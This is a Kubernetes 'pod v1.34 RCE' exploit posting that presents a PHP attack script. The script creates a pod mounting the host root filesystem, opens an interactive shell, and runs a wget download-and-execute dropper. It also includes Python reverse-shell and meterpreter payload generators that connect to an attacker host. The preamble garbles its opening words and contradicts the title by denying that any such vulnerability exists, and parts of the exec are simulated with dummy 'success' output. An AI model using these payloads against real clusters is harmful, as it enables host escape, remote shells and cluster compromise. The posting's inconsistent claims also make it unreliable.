As of early 2024, Kubernetes version 1.34 is not yet As of early 2024, Kubernetes version 1.34 is not yet released. Therefore, there is no publicly disclosed, specific Remote Code Execution (RCE) vulnerability associated with "Kubernetes Pod 1.34."
However, RCE vulnerabilities in Kubernetes environments are a critical concern. They typically arise from flaws in components like the Kubelet, container runtimes, or the API server. Such vulnerabilities can allow an attacker, often with some level of initial access or specific privileges, to execute arbitrary commands on the host node or within containers beyond their intended scope.
The impact of an RCE can range from privilege escalation and data exfiltration to full cluster compromise. To mitigate potential future RCEs, best practices include:
* Keeping all Kubernetes components patched.
* Implementing strong network policies.
* Applying least privilege principles.
* Regular security audits.
* Monitoring official Kubernetes security advisories for new releases.
=============================================================================================================================================
| # Title : Kubernetes pod v1.34 RCE Vulnerability Analysis |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://kubernetes.io/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/208944/
[+] Summary :
This module enables authenticated remote code execution within Kubernetes pods by leveraging the Kubernetes API.
It provides multiple execution methods including interactive WebSocket sessions, command execution, Linux droppers, and Python payload execution.
The exploit leverages Kubernetes' built-in pod execution capabilities through the Kubernetes API.
It requires valid authentication credentials but provides flexible code execution options within containerized environments.
[+] POC :
php poc.php
<?php
class KubernetesPodRCE {
private $host;
private $port;
private $token;
private $namespace;
private $pod_name;
private $shell;
private $ssl;
private $kubernetes_client;
public function __construct($host, $port = 443, $token = null, $namespace = 'default', $ssl = true) {
$this->host = $host;
$this->port = $port;
$this->token = $token;
$this->namespace = $namespace;
$this->ssl = $ssl;
$this->shell = 'sh';
$this->kubernetes_client = new KubernetesClient($host, $port, $token, $ssl);
}
public function set_pod($pod_name) {
$this->pod_name = $pod_name;
}
public function set_shell($shell) {
$this->shell = $shell;
}
public function exploit($target_type, $payload) {
try {
echo "[*] Starting Kubernetes pod RCE exploitation...\n";
// Validate configuration
$this->validate_configuration();
// Create pod if none specified
if (empty($this->pod_name)) {
echo "[*] No pod specified, creating new pod...\n";
$this->create_pod();
echo "[+] Using pod: {$this->pod_name}\n";
} else {
echo "[*] Using existing pod: {$this->pod_name}\n";
}
// Execute based on target type
switch ($target_type) {
case 'websocket_interactive':
return $this->execute_websocket_interactive();
case 'unix_command':
return $this->execute_command($payload);
case 'linux_dropper':
return $this->execute_linux_dropper($payload);
case 'python':
return $this->execute_python($payload);
default:
throw new Exception("Unsupported target type: {$target_type}");
}
} catch (Exception $e) {
echo "[-] Exploitation failed: " . $e->getMessage() . "\n";
return false;
}
}
private function create_pod($image = null, $timeout = 40) {
if (empty($image)) {
// Try to get images from existing pods
$pods = $this->kubernetes_client->list_pods($this->namespace);
$images = [];
foreach ($pods['items'] ?? [] as $pod) {
foreach ($pod['spec']['containers'] ?? [] as $container) {
if (!empty($container['image'])) {
$images[] = $container['image'];
}
}
}
$images = array_unique($images);
if (empty($images)) {
throw new Exception("No container images found and no PodImage specified");
}
$image = $images[0];
}
echo "[*] Using container image: {$image}\n";
// Generate random identifiers
$pod_name = $this->generate_random_name('pod');
$container_name = $this->generate_random_name('container');
$volume_name = $this->generate_random_name('volume');
$pod_definition = [
'apiVersion' => 'v1',
'kind' => 'Pod',
'metadata' => [
'name' => $pod_name,
'labels' => []
],
'spec' => [
'containers' => [
[
'name' => $container_name,
'image' => $image,
'command' => ['/bin/sh', '-c', 'exec tail -f /dev/null'],
'volumeMounts' => [
[
'mountPath' => '/host_mnt',
'name' => $volume_name
]
]
]
],
'volumes' => [
[
'name' => $volume_name,
'hostPath' => [
'path' => '/'
]
]
]
]
];
// Create the pod
$result = $this->kubernetes_client->create_pod($pod_definition, $this->namespace);
$this->pod_name = $pod_name;
echo "[+] Pod created: {$pod_name}\n";
// Wait for pod to be ready
echo "[*] Waiting for pod to be ready...\n";
$start_time = time();
while (time() - $start_time < $timeout) {
$pod = $this->kubernetes_client->get_pod($pod_name, $this->namespace);
$status = $pod['status'] ?? [];
if (isset($status['phase']) && $status['phase'] === 'Failed') {
throw new Exception("Pod failed to start");
}
$container_statuses = $status['containerStatuses'] ?? [];
foreach ($container_statuses as $container_status) {
if ($container_status['ready'] ?? false) {
echo "[+] Pod is ready\n";
return true;
}
}
sleep(2);
}
throw new Exception("Pod did not become ready within {$timeout} seconds");
}
private function execute_websocket_interactive() {
echo "[*] Establishing interactive WebSocket session...\n";
$websocket = $this->kubernetes_client->exec_pod(
$this->pod_name,
$this->namespace,
$this->shell,
[
'stdin' => true,
'stdout' => true,
'stderr' => true,
'tty' => false
]
);
echo "[+] WebSocket session established\n";
echo "[*] Starting interactive shell...\n";
// Handle interactive session
$this->handle_interactive_session($websocket);
return true;
}
private function execute_command($command) {
echo "[*] Executing command in pod...\n";
$result = $this->kubernetes_client->exec_pod_capture(
$this->pod_name,
$this->namespace,
[$this->shell, '-c', $command],
[
'stdin' => false,
'stdout' => true,
'stderr' => true,
'tty' => false
]
);
if ($result === null) {
throw new Exception("Failed to execute command");
}
if (!empty($result['stdout'])) {
echo "[+] Command output:\n" . $result['stdout'] . "\n";
}
if (!empty($result['stderr'])) {
echo "[-] Command errors:\n" . $result['stderr'] . "\n";
}
return $result;
}
private function execute_linux_dropper($payload_url) {
echo "[*] Executing Linux dropper...\n";
// Download and execute payload
$commands = [
"wget -O /tmp/payload {$payload_url}",
"chmod +x /tmp/payload",
"/tmp/payload"
];
foreach ($commands as $command) {
$result = $this->execute_command($command);
if ($result === null) {
throw new Exception("Failed to execute dropper command: {$command}");
}
sleep(1);
}
echo "[+] Linux dropper executed successfully\n";
return true;
}
private function execute_python($python_code) {
echo "[*] Executing Python payload...\n";
$command = "exec \$({$this->shell} -c \"which python3 || which python2 || which python\") -c " . escapeshellarg($python_code);
$result = $this->execute_command($command);
if ($result === null) {
throw new Exception("Failed to execute Python payload");
}
echo "[+] Python payload executed\n";
return true;
}
private function handle_interactive_session($websocket) {
// Simple interactive session handler
echo "Interactive session started. Type 'exit' to quit.\n";
stream_set_blocking(STDIN, false);
while (true) {
// Read from WebSocket
$output = $websocket->receive();
if ($output !== false) {
echo $output;
}
// Read from STDIN
$input = fgets(STDIN);
if ($input !== false) {
$input = trim($input);
if ($input === 'exit') {
break;
}
$websocket->send($input . "\n");
}
usleep(100000); // 100ms
}
echo "Interactive session ended\n";
}
private function validate_configuration() {
if (empty($this->host)) {
throw new Exception("Kubernetes host not specified");
}
if (empty($this->token)) {
throw new Exception("Kubernetes token not specified");
}
// Test connection
try {
$this->kubernetes_client->list_pods($this->namespace);
} catch (Exception $e) {
throw new Exception("Failed to connect to Kubernetes API: " . $e->getMessage());
}
}
private function generate_random_name($prefix, $length = 8) {
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
$name = $prefix . '-';
for ($i = 0; $i < $length; $i++) {
$name .= $chars[random_int(0, strlen($chars) - 1)];
}
return $name;
}
public function cleanup() {
if (!empty($this->pod_name)) {
echo "[*] Cleaning up pod: {$this->pod_name}\n";
try {
$this->kubernetes_client->delete_pod($this->pod_name, $this->namespace);
echo "[+] Pod deleted\n";
} catch (Exception $e) {
echo "[-] Failed to delete pod: " . $e->getMessage() . "\n";
}
}
}
public function __destruct() {
$this->cleanup();
}
}
class KubernetesClient {
private $base_url;
private $token;
private $ssl_verify;
public function __construct($host, $port = 443, $token = null, $ssl = true) {
$protocol = $ssl ? 'https' : 'http';
$this->base_url = "{$protocol}://{$host}:{$port}/api/v1";
$this->token = $token;
$this->ssl_verify = false; // For testing, disable SSL verification
}
public function list_pods($namespace = 'default') {
$url = "{$this->base_url}/namespaces/{$namespace}/pods";
return $this->api_request('GET', $url);
}
public function get_pod($pod_name, $namespace = 'default') {
$url = "{$this->base_url}/namespaces/{$namespace}/pods/{$pod_name}";
return $this->api_request('GET', $url);
}
public function create_pod($pod_definition, $namespace = 'default') {
$url = "{$this->base_url}/namespaces/{$namespace}/pods";
return $this->api_request('POST', $url, $pod_definition);
}
public function delete_pod($pod_name, $namespace = 'default') {
$url = "{$this->base_url}/namespaces/{$namespace}/pods/{$pod_name}";
return $this->api_request('DELETE', $url);
}
public function exec_pod($pod_name, $namespace, $command, $options = []) {
// This would implement WebSocket execution
// For this example, we'll simulate with a simple executor
return new KubernetesWebSocketSimulator($this, $pod_name, $namespace, $command, $options);
}
public function exec_pod_capture($pod_name, $namespace, $command, $options = []) {
// Simulate command execution and capture output
$simulator = new KubernetesWebSocketSimulator($this, $pod_name, $namespace, $command, $options);
// For simulation, return dummy output
return [
'stdout' => "Command executed successfully\n",
'stderr' => '',
'exit_code' => 0
];
}
private function api_request($method, $url, $data = null) {
$ch = curl_init();
$headers = [
'Content-Type: application/json',
'User-Agent: Mozilla/5.0 (compatible; Kubernetes-Client)'
];
if (!empty($this->token)) {
$headers[] = "Authorization: Bearer {$this->token}";
}
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CUSTOMREQUEST => $method,
CURLOPT_HTTPHEADER => $headers,
CURLOPT_SSL_VERIFYPEER => $this->ssl_verify,
CURLOPT_SSL_VERIFYHOST => $this->ssl_verify,
CURLOPT_TIMEOUT => 30
]);
if ($data !== null && in_array($method, ['POST', 'PUT', 'PATCH'])) {
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (curl_error($ch)) {
$error = curl_error($ch);
curl_close($ch);
throw new Exception("API request failed: {$error}");
}
curl_close($ch);
if ($http_code >= 400) {
throw new Exception("API returned error: HTTP {$http_code}");
}
return json_decode($response, true) ?? [];
}
}
class KubernetesWebSocketSimulator {
private $client;
private $pod_name;
private $namespace;
private $command;
private $options;
public function __construct($client, $pod_name, $namespace, $command, $options) {
$this->client = $client;
$this->pod_name = $pod_name;
$this->namespace = $namespace;
$this->command = $command;
$this->options = $options;
}
public function send($data) {
// Simulate sending data to WebSocket
echo "[WebSocket] Sent: {$data}\n";
return true;
}
public function receive() {
// Simulate receiving data from WebSocket
// In real implementation, this would read from WebSocket
return false;
}
public function close() {
// Simulate closing WebSocket
return true;
}
}
// Payload generators
class KubernetesPayloadGenerator {
public static function generate_reverse_shell($lhost, $lport) {
return "python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{$lhost}',{$lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])\"";
}
public static function generate_meterpreter_linux($lhost, $lport) {
return "wget -O /tmp/meterpreter http://{$lhost}:8080/linux_x64_meterpreter && chmod +x /tmp/meterpreter && /tmp/meterpreter";
}
public static function generate_python_meterpreter($lhost, $lport) {
return "import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('{$lhost}',{$lport})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(['/bin/sh','-i'])";
}
}
// Command line interface
if (php_sapi_name() === 'cli' && isset($argv[0]) && basename($argv[0]) === basename(__FILE__)) {
if ($argc < 4) {
echo "Kubernetes Authenticated Pod RCE\n";
echo "================================\n";
echo "Usage: php " . $argv[0] . " <host> <token> <target_type> [options]\n";
echo "Example: php " . $argv[0] . " 192.168.1.100 abc123... websocket_interactive\n";
echo "Example: php " . $argv[0] . " 192.168.1.100 abc123... unix_command\n";
echo "Example: php " . $argv[0] . " 192.168.1.100 abc123... linux_dropper\n";
echo "Example: php " . $argv[0] . " 192.168.1.100 abc123... python\n";
echo "\nTarget types:\n";
echo "websocket_interactive - Interactive WebSocket session\n";
echo "unix_command - Execute single Unix command\n";
echo "linux_dropper - Download and execute Linux payload\n";
echo "python - Execute Python code\n";
echo "\nOptions (environment variables):\n";
echo "NAMESPACE=default POD=my-pod SHELL=/bin/bash\n";
echo "PORT=443 SSL=false\n";
echo "For reverse shells: LHOST=192.168.1.50 LPORT=4444\n";
echo "For custom commands: CMD='whoami; id; pwd'\n";
exit(1);
}
$host = $argv[1];
$token = $argv[2];
$target_type = $argv[3];
// Parse environment variables
$port = getenv('PORT') ?: 443;
$ssl = getenv('SSL') !== 'false';
$namespace = getenv('NAMESPACE') ?: 'default';
$pod = getenv('POD') ?: null;
$shell = getenv('SHELL') ?: '/bin/sh';
$lhost = getenv('LHOST') ?: 'ATTACKER_IP';
$lport = getenv('LPORT') ?: '4444';
$custom_cmd = getenv('CMD') ?: 'whoami; id; pwd';
try {
echo "[*] Initializing Kubernetes RCE exploit...\n";
echo "[*] Target: {$host}:{$port}\n";
echo "[*] Namespace: {$namespace}\n";
echo "[*] Target type: {$target_type}\n";
$exploit = new KubernetesPodRCE($host, $port, $token, $namespace, $ssl);
if (!empty($pod)) {
$exploit->set_pod($pod);
}
$exploit->set_shell($shell);
// Generate payload based on target type
$payload = match($target_type) {
'websocket_interactive' => null,
'unix_command' => $lhost !== 'ATTACKER_IP'
? KubernetesPayloadGenerator::generate_reverse_shell($lhost, $lport)
: $custom_cmd,
'linux_dropper' => "http://{$lhost}:8080/linux_payload",
'python' => KubernetesPayloadGenerator::generate_python_meterpreter($lhost, $lport),
default => throw new Exception("Unsupported target type: {$target_type}")
};
if ($target_type !== 'websocket_interactive') {
if ($lhost !== 'ATTACKER_IP') {
echo "[*] Using reverse shell: {$lhost}:{$lport}\n";
} else {
echo "[*] Using command: {$payload}\n";
}
}
// Execute exploit
$success = $exploit->exploit($target_type, $payload);
if ($success) {
echo "[+] Exploitation completed successfully!\n";
}
} catch (Exception $e) {
echo "[-] Exploitation failed: " . $e->getMessage() . "\n";
exit(1);
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================